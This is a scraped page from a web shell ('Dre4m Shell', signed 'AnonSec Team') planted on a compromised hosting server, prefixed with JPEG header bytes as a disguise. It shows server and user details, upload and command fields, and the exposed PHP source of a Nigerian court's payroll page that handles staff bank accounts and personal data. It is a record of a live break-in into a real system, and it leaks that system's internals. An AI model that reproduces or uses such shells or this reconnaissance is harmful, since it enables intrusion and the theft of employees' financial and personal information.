ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 13.59.87.38
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5//consolidated/pes.php
<?php
require_once('business logic/classes/users.php');
require_once('business logic/classes/operations.php');
require_once('business logic/classes/add_per.php');
//
$user = new User();

$per = new Per();
$oper = new Operations();
$banklist = $oper->getBank();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
if($access > 2)
   header("location:delay.php");


if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['submit'] == "Submit")) { 
    $msg = $per->addRecord($_POST );   
}

if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['submit2'] == "Update")) { 
    $msg = $per->updateRecord($_POST );   
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Personal Emoluments Record</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
.inputs {	background-color: #ffffff;
	margin: 2px;
	padding: 2px;
	border: 1px solid #FF8A00;
}
-->
</style>
<script language="javascript" type="text/javascript"> 
function submitregistration() {
 var form = document.login;
				
if( form.title.value == "Select Title")
{
alert( "Select valid Title" );
return false;
}     
 
else if(form.perid.value == "")
{
alert( "Enter Staff File Number" );
return false;
}
else if(form.surname.value == "")
{
alert( "Enter Surname" );
return false;
}
else if(form.first_name.value == "")
{
alert( "Enter First name" );
return false;
}
else if( form.designation.value == "")
{
alert( "Enter Designation" );
return false;
}
 else if( form.rank.value == "Select Rank")
{
alert( "Select valid Rank" );
return false;
}
else if( form.grade.value == "Staff Grade")
{
alert( "Select valid Grade" );
return false;
}
 else if( form.step.value == "Staff Step")
{
alert( "Select valid Step" );
return false;
}
else if( form.bank.value == "Select bank")
{
alert( "Select valid Bank Name" );
return false;
}
else if( form.bankGroup.value == "")
{
alert( "Enter Bank Group" );
return false;
}
else if( form.bank_branch.value == "")
{
alert( "Enter Bank Branch" );
return false;
}
else if( form.AccNo.value == "")
{
alert( "Enter Account Number" );
return false;
}
else if( form.section.value == "")
{
alert( "Enter Section" );
return false;
}
else if( form.employee_type.value == "Select type")
{
alert( "Select valid Employee" );
return false;
}
else if( form.gender.value == "Select Gender")
{
alert( "Select valid Gender" );
return false;
}
else if( form.section.value == "")
{
alert( "Enter Section" );
return false;
}
else if( form.home_address.value == "")
{
alert( "Enter Home Address" );
return false;
}
else if( form.division.value == "Select Division")
{
	alert( "Select Valid Division" );
	return false;
}
  // Select Gendergender...bankGroup...designation..bank_branch..Select Division...Select bank
}
function validateText(i) 
{
	if(i.value.length>0) 
		{
			i.value = i.value.replace(/[^\d,.]+/g,''); 
		}
}
function validateLength(i) 
{
	if(i.value.length > 2) 
		return (null);	
}
</script> 
<script language="javascript" src="js/cal2.js">
/*
Xin's Popup calendar script-  Xin Yang (http://www.yxscripts.com/)
Script featured on/available at http://www.dynamicdrive.com/
This notice must stay intact for use
*/
</script>
<script language="javascript" src="js/cal_conf2.js"></script>
<script type="text/javascript">
<!--

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
  
}
function toggleStep(value)
{
	if(value == "CR")
	document.getElementById('tr_step').style.display = "table-row";
	else
	document.getElementById('tr_step').style.display = "none";
}
//-->
</script>
</head>
<body onLoad="chan()";  update_all()">
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="26%">&nbsp;<a href="userArea.php">Home</a></td>
        <td width="74%"><?php   $user->get_fullname($uid); ?>  <a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><br />
      <?php require('links.php');?>
<br /></td>
    <td valign="top"><table width="587" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="491" colspan="3"><br /><fieldset>
          <legend>Setup Personal Emolument Record<br />
            </legend>
          <form id="login" name="login" method="post" action="" enctype="multipart/form-data">
            <table width="586" border="0">
              <tr>
                <td colspan="3"><?php if(isset($msg))
			echo $msg;
			//}
			?></td>
              </tr>
              <tr>
                <td><div align="right">Select Staff to edit</div></td>
                <td>
                 <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">Select Name</option>
          <?php
		  		$division = $_SESSION['division'];
						//mysql_select_db($database_conn, $conn);
						$result = mysql_query("select * from tblper WHERE employee_type = 'CONSOLIDATED' order by surname, first_name,
						 othernames");
						while($rows = mysql_fetch_assoc($result))
						{
							if(isset($_GET['p']) && ($rows['fileNo']==$_GET['p']))
							{	
								$update_value = strtoupper($rows['fileNo']);
								$title = strtoupper($rows['title']);
								$sname = strtoupper($rows['surname']);
								$fname = strtoupper($rows['first_name']);
								$oname  = strtoupper($rows['othernames']);
								$des = strtoupper($rows['Designation']);
								$rank = strtoupper($rows['rank']);
								$grade = $rows['grade'];
								$step = $rows['step'];
								$bank = strtoupper($rows['bank']);
								$bran = strtoupper($rows['bank_branch']);
								$accno = $rows['AccNo'];
								$section = strtoupper($rows['section']);
								$a_date = $rows['appointment_date'];
								$i_date = $rows['incremental_date'];
								$dob = $rows['dob'];
								$addr = strtoupper($rows['home_address']);
								$gov = strtoupper($rows['government_qtr']);
								$emp_type =  strtoupper($rows['employee_type']);
								$gender = strtoupper($rows['gender']);
								$current_state = strtoupper($rows['current_state']);
								$division = strtoupper($rows['division']);
								$bankGroup = strtoupper($rows['bankGroup']);
							}							
							echo "<option value='pes.php?p=".$rows['fileNo']."'>".$rows['surname']." ".$rows['first_name']." ".$rows['othernames']."</option>";
						}
				
						
					?>
                                                     </select>                </td>
                <td width="152" rowspan="5"><img src="passport/<?php echo $update_value; ?>.jpg" width="150" border="1" /></td>
              </tr>
              <tr>
                <td width="113"><div align="right">File Number</div></td>
                <td width="246"><input name="perid" type="text" id="textfield18" value="<?php echo $update_value; ?>" required="true" />                  &nbsp;
                  <input type="hidden" name="fileno"  value="<?php echo $update_value; ?>"/>                </td>
                </tr>
              <tr>
                <td><div align="right">Title</div></td>
                <td><select name="title" id="title">
                  <option value="Select Title" selected="selected">Select Title</option>
                  <option value="MR.">Mr.</option>
                  <option value="MRS.">Mrs.</option>
                  <option value="MISS">Miss</option>
                  <option value="HON. JUSTICE">Hon. Justice</option>
                </select></td>
                </tr>
              <tr>
                <td><div align="right">Surname</div></td>
                <td><input type="text" name="surname" id="textfield" required="true" value="<?php echo $sname; ?>"/></td>
                </tr>
              <tr>
                <td><div align="right">First Name</div></td>
                <td><input type="text" name="first_name" id="textfield5" required="required" value="<?php echo $fname; ?>"/></td>
                </tr>
              <tr>
                <td><div align="right">Other Names</div></td>
                <td><input type="text" name="other_names" id="textfield2"  value="<?php echo $oname; ?>"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Designation</div></td>
                <td><input type="text" name="designation" id="textfield4" required="true" value="<?php echo $des; ?>"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Rank</div></td>
                <td><select name="rank" id="rank" onchange="toggleStep(this.value)">
                  <option>Select Rank</option>
                  <option value="P">President</option>
                  <option value="CR">Chief Registrar</option>
				  <option value="JS">Judges</option>                  
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr style="display:none">
                <td><div align="right">Grade</div></td>
                <td><select name="grade" id="grade">
                  <option value="1" selected="selected">1</option>
                  <option value="2">2</option>
                  <option value="3">3</option>
                  <option value="4">4</option>
                  <option value="5">5</option>
                  <option value="6">6</option>
                  <option value="7">7</option>
                  <option value="8">8</option>
                  <option value="9">9</option>
                  <option value="10">10</option>
                  <option value="11">11</option>
                  <option value="12">12</option>
                  <option value="13">13</option>
                  <option value="14">14</option>
                  <option value="15">15</option>
                  <option value="16">16</option>
                  <option value="17">17</option>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              
              <tr id="tr_step"  <?php
			  if($rank == "CR")
			  echo  "style=\"display:table-row\"";
			  else
			  echo  "style=\"display:none\"";
			  ?>
              >
                <td><div align="right">Step </div></td>
                <td><select name="step" id="step">
                  <option value="1" selected="selected">1</option>
                  <option value="2">2</option>
                  <option value="3">3</option>
                  <option value="4">4</option>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Bank Name </div></td>
                <td><select id="bank" name="bank" required="true">
                  <option value="Select bank" selected="selected">Select bank</option>
                  <?php
				  $sql = "select * from tbl_conbank";
				  $rs = mysql_query($sql);
				  while($row= mysql_fetch_array($rs))
				  {
					 echo "<option value ='".$row['bank']."'>".$row['bank']."</option>"; 
				  }
				  ?>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Bank Group</div></td>
                <td><input name="bankGroup" type="text" id="textfield3" value="<?php echo $bankGroup; ?>" size="8" required="true" onkeyup="validateLength(this), validateText(this);" onkeydown="validateText(this);"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Bank Branch </div></td>
                <td><input name="bank_branch" type="text" id="textfield7" value="<?php echo $bran; ?>" required="true"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Account Number</div></td>
                <td><input type="text" name="AccNo" id="textfield8" required="true" value="<?php echo $accno; ?>"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Section</div></td>
                <td><input type="text" name="section" id="textfield9" required="true" value="<?php echo $section; ?>"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Appointment Date</div></td>
                <td><input name="appointment_date" type="text" id="appointment_date" value="<?php echo $a_date; ?>" size="8"
             onclick="showCal('Calendar1')" readonly="readonly" /></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Incremental Date</div></td>
                <td><input name="incremental_date" type="text" id="incremental_date" value="<?php echo $i_date;?>" size="8" 
            onclick="showCal('Calendar2')" readonly="readonly" required="true"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Date of Birth</div></td>
                <td><input name="dob" type="text" id="dob" value="<?php echo $dob;?>" size="8" 
            onclick="showCal('Calendar3')" readonly="readonly" required="true"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Home Address</div></td>
                <td><input name="home_address" type="text" id="textfield13" required="true" value="<?php echo $addr; ?>"/></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Government Quater</div></td>
                <td><input name="government_qtr" type="text" id="textfield14" value="<?php echo $gov; ?>"></td>
                <td>&nbsp;</td>
              </tr>
              <tr style="display:none">
                <td><div align="right">Employee type</div></td>
                <td><select name="employee_type" id="employee_type">
				<option  value="CONSOLIDATED" selected="selected"  >Consolidated</option>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Gender</div></td>
                <td><select name="gender" id="gender">
                  <option>Select Gender</option>
                  <option value="MALE">Male</option>
                  <option value="FEMALE">Female</option>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Current working state</div></td>
                <td><select name="current_state" id="current_state"> <!--current working state-->
                  <option value="Select Division">Current working state</option>
                  <?php
                $result = mysql_query("select distinct state from tblstate_lga order by state");
						while($rows = mysql_fetch_assoc($result))
						{
							echo "<option value='".$rows['state']."'>".$rows['state']."</option>";
						}
				?>
                </select></td>
              </tr>
              <tr>
                <td><div align="right">Division</div></td>
                <td><select name="division" id="division">
                  <option value="Select Division">Select Division</option>
                  <?php
                $result = mysql_query("select * from tbldivision order by division");
						while($rows = mysql_fetch_assoc($result))
						{
							echo "<option value=".$rows['division'].">".$rows['division']."</option>";
						}
				?>
                </select></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td><div align="right">Passport</div></td>
                <td><input name="passport" type="file" />
                  <input name="staff_status" type="hidden" id="staff_status" value="1" /> <input name="status_value" type="hidden" id="status_value" value="Active Service" />
                  <input name="date" type="hidden" id="date" value="<?php echo date('Y-m-d');?>" /></td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="submit" name="submit" id="submit" value="Submit" onclick="return( submitregistration());"/>
                  <input type="submit" name="submit2" id="submit2" value="Update" onclick="return( submitregistration());"/>
                  <label>
                  <script language="javascript">
									function chan()
									{
									document.getElementById('title').value = "<?php echo $title; ?>";
									
									document.getElementById('rank').value = "<?php echo $rank; ?>";
									document.getElementById('grade').value = <?php echo $grade; ?>;
									document.getElementById('step').value = <?php echo $step; ?>;
									document.getElementById('bank').value = "<?php echo $bank; ?>";
									document.getElementById('employee_type').value = "<?php echo $emp_type; ?>";
									document.getElementById('gender').value = "<?php echo $gender; ?>";
                                    document.getElementById('current_state').value = "<?php echo $current_state; ?>";
									document.getElementById('division').value = "<?php echo $division; ?>";
									document.getElementById('bankGroup').value = "<?php echo $bankGroup; ?>";
									}
									</script>
                  </label></td>
                <td>&nbsp;</td>
              </tr>
            </table>
          </form>
        </fieldset></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td align="right">
		</td>
      </tr>
    </table></td>
  </tr>
</table>
<div class="clear"></div>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team